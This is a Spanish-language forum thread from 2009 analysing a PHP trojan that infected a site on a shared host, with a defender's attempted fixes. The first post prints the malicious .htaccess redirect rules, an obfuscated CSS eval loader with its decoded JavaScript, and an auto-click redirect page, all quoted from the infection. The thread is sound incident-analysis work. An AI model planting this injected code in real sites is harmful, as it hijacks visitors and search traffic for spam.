.htaccess hacked

Iniciado por rayi, 29 Enero 2009, 14:20 PM

0 Miembros y 1 Visitante están viendo este tema.

rayi

Muy buenas foreros. Me vais a perdonar este largo post pero merece la pena, hace una semana una amiga que tiene una web alojada en hostmonster.com me dijo que estaba teniendo problemas porque llevaba siendo comprometida un time y me ofrecí a echarle un vistazo.
Rápidamente me di cuenta de que tanto el propio hostmonster como la propia web estaban mal configurados, me explico :

- Diversas vulnerabilidades por ficheros php mal codeados : http/php-inject,lfi, rfi.. por mencionar algunos... en la web amiga, directorios en el raíz del server ( que no en nuestro /home/ al que sí tenemos acceso ) con permisos 777 y accesibles para cualquiera.. en fin.

A raíz de ahí fui investigando el coladero, ese hosting tiene el acceso ssh deshabilitado por defecto, y para activarlo hay que llamarlos por tlf y aun así no creo,me valí de una cmdshell para poder realizar tareas de administración que no fueran las que permite el cPanel de &@!*¡! que lleva hostmonster... en todo eso que me di cuenta de que había sido infectado por un troyano que afecta a php ( http://www.trustedsource.org/blog/34/ ), el troyano en cuestión copia varios ficheros tal como blog.htm,check.js,dummy.htm,t.htm en alguna subcarpeta escondida tal como somedir/ex3/vole/, edita el fichero .htaccess y añade el siguiente código:


# a0b4df006e02184c60dbf503e71c87ad                                                                                                                                                     
                                                                                                                                                      RewriteEngine On                                                                                                                                                     
                                                                                                                                                      RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\. [NC]                                                                                                                                                     
                                                                                                                                                      RewriteCond %{HTTP_REFERER}  [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=                                                                                                                                                     
                                                                                                                                                      RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)                                                                                                                                                     
                                                                                                                                                      RewriteCond %{TIME_SEC} <59                                                                                                                                                     
                                                                                                                                                      RewriteRule ^.*$ /singles/singles/Perraverde/vole/ex3/t.htm [L]                                                                                                                                                     
                                                                                                                                                      # a995d2cc661fa72452472e9554b5520c           

Aparte de eso, infecta   la mayoría de ficheros .css y la totalidad de .js ( comprobado ) con código como éste poco visible aparte de una ristra md5 con la cual se identifica el server como vulnerable:

* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%635%6D%65%6E%74%2E%67
%65%74%45%6C%65%6D%65%6E%74%42%79%49%6
4%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%3
9%3B%20%4A%53%53%32%20%3D%20%32%37%32%33%37%34%38%3B%20%4A%53
%53%33%20%3D%20%27%2F%73%69%6E%67%6C%65%73%2F%73%69%6E%67%6C%
65%73%2F%50%65%72%72%61%76%65%72%64%65%2F%76%6F%6C%65%2F%64%75
%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64
%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%
74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74
%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%73%69%6E%
67%6C%65%73%2F%73%69%6E%67%6C%65%73%2F%50%65%72%72%61%76%65%72
%64%65%2F%76%6F%6C%65%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%
6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C
%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%
65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%2
7%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%
64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */     

Utilizando un conversor ascii se queda así:

Original: /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 2723748; JSS3 = '/singles/singles/Perraverde/vole/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/singles/singles/Perraverde/vole/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) }; ')); /* a995d2cc661fa72452472e9554b5520c */

Esto tiene como consecuencia que todo link de buscador hacia la página apunta hacia un blog, y no a la página original en cuestión, las imágenes por culpa del .htaccess modificado muchas no funcionan, así que los servicios del portal quedan mermados.

El fichero dummy.htm contiene lo siguiente :

<html>
<body>
<a id='hr' href="blog.htm"></a>

<script>
try {
document.getElementById('hr').click()
} catch(e) {
location.href='blog.htm'
}
</script>
</body>
</html>

intenta hacer click por id ( hr ) a blog.htm y si no puede redirecciona hacia un blog x del interesado.


Está claro que se trata de un troyano-spammer bastante bien pensado para subir ranking de determinados websites en buscadores, y funciona.

Hasta ahí bien, está claro que :

- Los ficheros .php deberían ser saneados, tanto consultas como formularios
- Cambio de Hosting a algo más decente
- Al final, rediseño de la web por completo evitando agujeros de seguridad tan claros y concisos

El tema está  en que tienen un nuevo diseño en camino pero de mientras he probado a securizar un poco los php ( no soy programador experto ), de la siguiente manera :

<?
Header("X-Powered-by: safe_http");   
if(preg_match("/http:/i", urldecode(getenv("REQUEST_URI").getenv("QUERY_STRING"))))
   {
   Header( "HTTP/1.1 503 Service Unavailable" );
   exit;
   }
?>

y al .htaccess lo siguiente :

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /------------http----------- [F,NC]
RewriteRule http: /---------http----------- [F,NC]

Con lo cual el rfi no se puede explotar y te evitas un eventual acceso fácil ( comprobado ).
También tengo que decir que los ficheros .js infectados no le borre el código malicioso, ya que todos los ficheros y directorios tienen como propietario el mismo usuario con el que se accede al hosting, y, por lo tanto, a través de cualquier fallo de seguridad, y aunque edite los ficheros o cambie los permisos, son reeditados de nuevo, ya que sólo dispongo de ese usuario para apache, y no está separado como se tiene por ejemplo, con el user restringido www-data para apache, y otro user para el .htaccess por ejemplo, así no nos evitariamos el ataque, pero el .htaccess no podría ser re-editado por el troyano a no ser que escalara privilegios ( y ya no podría ser un ataque masivo, como lo es ahora ), el hosting es un CentOS

$ uname -a

Linux host199.hostmonster.com 2.6.27-6_1.intel.BHsmp #1 SMP Thu Nov 13 15:27:29 MST 2008 x86_64 x86_64 x86_64 GNU/Linux

También he de añadir que he probado a setear variables php para minimizar riesgos en el .htaccess pero como no tiene el suyo propio no funciona y da errores, así que voy probando cosas conforme se me van ocurriendo o leyendo, alguna idea ??? supongo que me he dejado alguna cosa en el tintero de lo que he ido probando..

Espero que no os hayais dormido leyendo esto y expongais vuestras ideas, muchas gracias por vuestro tiempo dedicado,un saludo y espero respuestas!!! =)





                                                                                                                                           


el-brujo

muy interesante.

No es la primera vez que se "usan" trucos de estos para infectar, o ganar visitas masivamente. Es un método de infección bastante bueno. Ahora mismo no recuerdo el nombre de otros casos, pero han habido varios muy similares.

Cuando parece que ya no queda nada inventado, ¡pam! otra cosa sale.

rayi

 Buenas,thks por responder, el tema es que me gustaría saber si se os ocurre algún método que complemente lo que ya he dicho para poder evitarlo de mientras que no tienen la web nueva hecha, como habrás leido, el principal problema es que por la manera de funcionar del hosting es el mismo usuario para todo y no puedo evitar que los ficheros sean reeditados, ahora no pueden llamar a enlaces externos ni defacearla tan fácilmente, pero el troyano, tal vez manejado por una tool, se inserta de nuevo a los varios días, ya no tan agresivamente, pero consigue insertar diversos ficheros, he conseguido que no vuelva a apuntar al blog, pero el .htaccess se sigue re-editando e insertándo el puto código y hace que, por las otras directivas que le puse, de error cuando entras en la página ( ya que al intentar utilizar un enlace externo, lo bloquea, y entonces cuando entras al portal sale Forbidden)y como ya te digo no soy programador experto,conozco los fallos de seguridad y como explotarlos pero con los medios que dispongo se me ocurren cosas pero está jodido el tema, todas ideas serán bien recibidas !

berz3k

Muy interesante el metodo de infeccion,

@rayi podrias subir el troyano y/o pasarme tu informe en otro formato y mas detallado?, ando en la oficina, pero mas tarde probare en LAB y asi me miro mas a profundidad lo que hace.

-berz3k.

rayi


Ey -berz3k, claro, tengo copia del troyano en mi makina y los ficheros infectados originales, dame algo de tiempo que el "informe" este lo he hecho sobre la marcha y hay cosas que no se quedan demasiado claras, te daré toda la info que pueda y a ver que conclusiones sacamos, como lo hacemos? te pones tu en contacto conmigo? cuando lo tenga te aviso?.. un saludo!

berz3k

Claro, cuelgalo en algun lado y/o posteame por aca o por msg private

-berz3k.

circuitox

Muy intersante el post.

te envie  un mp

haber si me das la respuesta

salu2
Live as if you were to die tomorrow. Learn as if you were to live forever.

www.circuitox.com.ar

berz3k

I wating response from ray...

-berz3k.

rayi

Gente darme unos días más que se está quedando muy guapo, en cuanto lo tenga os digo,saludos.

berz3k

Venga seguimos esperando para ver ese doc tan wuapo XD

-berz3k.